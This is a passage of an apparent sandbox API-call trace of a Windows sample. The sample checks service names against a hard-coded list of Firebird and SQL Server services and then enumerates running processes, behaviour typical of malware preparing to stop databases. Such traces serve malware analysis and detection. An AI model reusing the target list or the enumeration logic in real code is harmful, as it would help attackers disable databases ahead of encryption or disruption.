(lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0154.397] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0154.397] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0154.397] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0154.398] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0154.398] lstrlenW (lpString="SamSs") returned 5 [0154.398] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0154.398] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0154.398] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0154.398] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0154.398] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0154.398] lstrlenW (lpString="Schedule") returned 8 [0154.398] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0154.398] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0154.398] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0154.398] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0154.398] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0154.398] lstrlenW (lpString="SecurityHealthService") returned 21 [0154.398] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0154.398] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0154.398] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0154.398] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0154.398] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0154.398] lstrlenW (lpString="SENS") returned 4 [0154.398] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0154.398] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0154.398] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0154.398] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0154.398] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0154.398] lstrlenW (lpString="ShellHWDetection") returned 16 [0154.398] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0154.398] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0154.398] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0154.398] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0154.398] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0154.398] lstrlenW (lpString="sppsvc") returned 6 [0154.398] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="sppsvc") returned -1 [0154.398] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="sppsvc") returned -1 [0154.398] lstrcmpiW (lpString1="sqlwriter", lpString2="sppsvc") returned 1 [0154.398] lstrcmpiW (lpString1="mssqlserver", lpString2="sppsvc") returned -1 [0154.398] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="sppsvc") returned 1 [0154.398] lstrlenW (lpString="SSDPSRV") returned 7 [0154.398] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0154.398] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0154.398] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0154.398] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0154.398] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1 [0154.398] lstrlenW (lpString="StateRepository") returned 15 [0154.398] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0154.398] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0154.398] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0154.398] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0154.398] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0154.398] lstrlenW (lpString="SysMain") returned 7 [0154.398] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0154.398] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0154.398] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0154.399] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0154.399] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0154.399] lstrlenW (lpString="SystemEventsBroker") returned 18 [0154.399] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0154.399] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0154.399] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0154.399] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0154.399] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0154.399] lstrlenW (lpString="Themes") returned 6 [0154.399] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0154.399] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0154.399] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0154.399] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0154.399] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x38c [0154.790] Process32FirstW (in: hSnapshot=0x38c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0154.791] Process32NextW (in: hSnapshot=0x38c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x69, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0154.791] lstrlenW (lpString="System") returned 6 [0154.791] Process32NextW (in: hSnapshot=0x38c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0154.792] lstrlenW (lpString="smss.exe") returned 8 [0154.792] Process32NextW (in: hSnapshot=0x38c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x194, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0154.792] lstrlenW (lpString="csrss.exe") returned 9 [0154.793] Process32NextW (in: hSnapshot=0x38c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0154.793] lstrlenW (lpString="wininit.exe") returned 11 [0154.793] Process32NextW (in: hSnapshot=0x38c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0154.793] lstrlenW (lpString="csrss.exe") returned 9 [0154.793] Process32NextW (in: hSnapshot=0x38c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x220, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0154.794] lstrlenW (lpString="winlogon.exe") returned 12 [0154.794] Process32NextW (in: hSnapshot=0x38c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0154.794] lstrlenW (lpString="services.exe") returned 12 [0154.795] Process32NextW (in: hSnapshot=0x38c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0154.795] lstrlenW (lpString="lsass.exe") returned 9 [0154.795] Process32NextW (in: hSnapshot=0x38c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0154.795] lstrlenW (lpString="svchost.exe") returned 11 [0154.795] Process32NextW (in: hSnapshot=0x38c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x220, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0154.796] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0154.796] Process32NextW (in: hSnapshot=0x38c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0154.796] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0154.796] Process32NextW (in: hSnapshot=0x38c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x304, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0154.797] lstrlenW (lpString="svchost.exe") returned 11 [0154.797] Process32NextW (in: hSnapshot=0x38c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x37c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x220, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0154.797] lstrlenW (lpString="dwm.exe") returned 7 [0154.797] Process32NextW (in: hSnapshot=0x38c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0154.797] lstrlenW (lpString="svchost.exe") returned 11 [0154.797] Process32NextW (in: hSnapshot=0x38c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0154.798] lstrlenW (lpString="svchost.exe") returned 11 [0154.798] Process32NextW (in: hSnapshot=0x38c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0154.798] lstrlenW (lpString="svchost.exe") returned 11 [0154.798] Process32NextW (in: hSnapshot=0x38c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5a, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0154.799] lstrlenW (lpString="svchost.exe") returned 11 [0154.799] Process32NextW (in: hSnapshot=0x38c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x180, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0154.799] lstrlenW (lpString="svchost.exe") returned 11 [0154.799] Process32NextW (in: hSnapshot=0x38c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x420, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0154.800] lstrlenW (lpString="svchost.exe") returned 11 [0154.800] Process32NextW (in: hSnapshot=0x38c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0154.800] lstrlenW (lpString="svchost.exe") returned 11 [0154.800] Process32NextW (in: hSnapshot=0x38c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0154.800] lstrlenW (lpString="svchost.exe") returned 11 [0154.800] Process32NextW (in: hSnapshot=0x38c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x570, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0154.801] lstrlenW (lpString="svchost.exe") returned 11 [0154.801] Process32NextW (in: hSnapshot=0x38c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x584, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0154.801] lstrlenW (lpString="svchost.exe") returned 11 [0154.801] Process32NextW (in: hSnapshot=0x38c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0154.802] lstrlenW (lpString="svchost.exe") returned 11 [0154.802] Process32NextW (in: hSnapshot=0x38c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x4cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0154.802] lstrlenW (lpString="audiodg.exe") returned 11 [0154.802] Process32NextW (in: hSnapshot=0x38c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x170, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0154.803] lstrlenW (lpString="sihost.exe") returned 10 [0154.803] Process32NextW (in: hSnapshot=0x38c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x700, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0154.803] lstrlenW (lpString="svchost.exe") returned 11 [0154.803] Process32NextW (in: hSnapshot=0x38c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x170, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0154.803] lstrlenW (lpString="taskhostw.exe") returned 13 [0154.803] Process32NextW (in: hSnapshot=0x38c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x37, th32ParentProcessID=0x784, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0154.804] lstrlenW (lpString="explorer.exe") returned 12 [0154.804] Process32NextW (in: hSnapshot=0x38c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x890, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0154.804] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0154.804] Process32NextW (in: hSnapshot=0x38c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0154.805] lstrlenW (lpString="Memory Compression") returned 18 [0154.805] Process32NextW (in: hSnapshot=0x38c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0154.805] lstrlenW (lpString="SearchUI.exe") returned 12 [0154.805] Process32NextW (in: hSnapshot=0x38c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0154.805] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0154.805] Process32NextW (in: hSnapshot=0x38c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0154.806] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0154.806] Process32NextW (in: hSnapshot=0x38c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xde4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0154.806] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0154.806] Process32NextW (in: hSnapshot=0x38c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="tablets_refugees.exe")) returned 1 [0154.807] lstrlenW (lpString="tablets_refugees.exe") returned 20 [0154.807] Process32NextW (in: hSnapshot=0x38c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfa8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="migration dying locations.exe")) returned 1 [0154.807] lstrlenW (lpString="migration dying locations.exe") returned 29 [0154.807] Process32NextW (in: hSnapshot=0x38c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="college-advance.exe")) returned 1 [0154.809] lstrlenW (lpString="college-advance.exe") returned 19 [0154.809] Process32NextW (in: hSnapshot=0x38c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfd0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="nickel ra execution.exe")) returned 1 [0154.810] lstrlenW (lpString="nickel ra execution.exe") returned 23 [0154.810] Process32NextW (in: hSnapshot=0x38c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfe4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="boompromoterestore.exe")) returned 1 [0154.810] lstrlenW (lpString="boompromoterestore.exe") returned 22 [0154.810] Process32NextW (in: hSnapshot=0x38c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xff8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="metallic.exe")) returned 1 [0154.810] lstrlenW (lpString="metallic.exe") returned 12 [0154.810] Process32NextW (in: hSnapshot=0x38c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="adjustedfavors.exe")) returned 1 [0154.811] lstrlenW (lpString="adjustedfavors.exe") returned 18 [0154.811] Process32NextW (in: hSnapshot=0x38c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="brown parade bases.exe")) returned 1 [0154.811] lstrlenW (lpString="brown parade bases.exe") returned 22 [0154.811] Process32NextW (in: hSnapshot=0x38c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x52c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="specified wales.exe")) returned 1 [0154.812] lstrlenW (lpString="specified wales.exe") returned 19 [0154.812] Process32NextW (in: hSnapshot=0x38c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="inspiration.exe")) returned 1 [0154.812] lstrlenW (lpString="inspiration.exe") returned 15 [0154.812] Process32NextW (in: hSnapshot=0x38c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x488, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="importance-slot-announcements.exe")) returned 1 [0154.813] lstrlenW (lpString="importance-slot-announcements.exe") returned 33 [0154.813] Process32NextW (in: hSnapshot=0x38c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="hundred-arrest.exe")) returned 1 [0154.813] lstrlenW (lpString="hundred-arrest.exe") returned 18 [0154.813] Process32NextW (in: hSnapshot=0x38c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="classbuck.exe")) returned 1 [0154.813] lstrlenW (lpString="classbuck.exe") returned 13 [0154.813] Process32NextW (in: hSnapshot=0x38c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="x-deutschland.exe")) returned 1 [0154.814] lstrlenW (lpString="x-deutschland.exe") returned 17 [0154.814] Process32NextW (in: hSnapshot=0x38c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xce0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sacred-sword-plc.exe")) returned 1 [0154.814] lstrlenW (lpString="sacred-sword-plc.exe") returned 20 [0154.814] Process32NextW (in: hSnapshot=0x38c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xce8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="laptop_wiring_candy.exe")) returned 1 [0154.815] lstrlenW (lpString="laptop_wiring_candy.exe") returned 23 [0154.815] Process32NextW (in: hSnapshot=0x38c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaa8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="lawsuit.exe")) returned 1 [0154.815] lstrlenW (lpString="lawsuit.exe") returned 11 [0154.815] Process32NextW (in: hSnapshot=0x38c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0154.816] lstrlenW (lpString="3dftp.exe") returned 9 [0154.816] Process32NextW (in: hSnapshot=0x38c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0154.816] lstrlenW (lpString="absolutetelnet.exe") returned 18 [0154.816] Process32NextW (in: hSnapshot=0x38c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc44, th32DefaultHeapID=0x0, 